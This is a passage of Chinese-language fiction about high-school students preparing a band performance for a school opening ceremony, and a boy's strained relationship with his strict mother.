林白:“行了,你试试。”
丁洛坐了下来,挨个敲了敲,军鼓的高度刚刚好,吊镲有点高了,需要伸直手去够。丁洛打算等会自己调低一点,林白已经上手了。
丁洛:“没问题了。”
许佳琪跑到两人面前举起相机,“现在是晚上21:37分,刚刚经历了暴力抢劫,维修大师林白又帮我们的鼓手同志完成了器材组装。一切准备就绪,下周开学典礼我们一定要给学校来点小小的震撼,对吗同志们?”
众人:“对!”
时间从未这样轻盈过,林白小跑至流浪猫的小窝,小猫一天天肉眼可见的长大。猫粮从不短缺,上周末路过小摊时新添了一个精致的小碗,碗里总有一些煮熟的鸡胸肉、鸡腿之类的鲜货,应该是附近居民投喂的。林白伸手去摸奶牛,还是被躲开了,不过这次已经不冲着他低声嘶吼。
防备心强也不错,守护好你的兄弟姐妹们吧。
看了眼表,时间不多,飞速跑回了家。自上次监控事件,刘晓丽冷战至今,不过双方于只言片语的交流中达成共识,只要林白每日完成规定的训练量,就可以免装监控。
桌上厚厚的一叠试卷是今晚的任务,林白坐下后快速进入状态,一口气写完起身推开窗户透透气。刘晓丽正好推门进来,看到此景又是眉头紧锁,“你是有多动症吗?为什么总要动来动去?”
如果解释,又是一通训诫。林白早已失去了沟通的欲望,只递上一叠试卷。刘晓丽无言地翻动,纸张摩擦的声音在空气中格外刺耳,林白偶尔觉得耳朵里有尖锐的声音,身体不自觉地抽搐了一下。
————
八中教学楼永远是炮火连天的状态,热闹但不刺耳。今晚便是开学典礼了,前前后后的人讨论着今天会有哪些演出,老郑进了教室喊了几声也没人听见。
“听说老郑几个老登偷偷在西边的教室排练呢。”
“真假,老郑也跳舞?”
“那边也太偏了,真有人没事去那边吗,编的吧?”
“编谁不好编老郑?”
老郑声音太小喊半天也没人听见,干脆走到那几人身边,凑着其中一人耳边说:“要不要我现在给你来一段?”
“不要了,不是很想看。”
……
全校老师今天都用尽手段稳住学生,最后一节课下课铃一响,震天的欢呼晃动楼板。吴卓扒开人群,一阵风似的跑到最前面,在礼堂里抢了第一排的位置,但很快被保安赶走。
“喂喂喂!那个同学坐后边去!前三排留给老师!”
可是一人明显是学生模样,却坐在第一排靠中间的位置,吴卓看了一眼,那人只是低着头。
“行行行,”回头看已经不少人入场了,吴卓懒得再纠缠,直接踩着座位跳到后边去,刚准备落座的几人不由地白了他一眼。
吴卓脸唰一下红了,硬着头皮将书包里的物件一个个拿出来占了半排位置。
“不好意思啊,这里有人。”
几人骂骂咧咧地坐到后面去。
“你们几个属乌龟的吗,能不能快点!”
“快了快了,到二教了!”
“这叫快了!?屁股刚从座位上抬起来是吧!”
“堵人了!”